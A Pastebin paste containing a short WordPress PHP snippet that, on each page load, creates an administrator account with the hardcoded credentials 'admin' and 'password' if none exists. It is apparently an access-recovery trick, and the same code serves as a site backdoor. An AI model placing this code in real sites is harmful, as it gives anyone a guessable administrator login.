Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- add_action( 'init', function () {
- $username = 'admin';
- $password = 'password';
- $email_address = 'temporary@example.com';
- if ( ! username_exists( $username ) ) {
- $user_id = wp_create_user( $username, $password, $email_address );
- $user = new WP_User( $user_id );
- $user->set_role( 'administrator' );
- }
- } );
Add Comment
Please, Sign In to add comment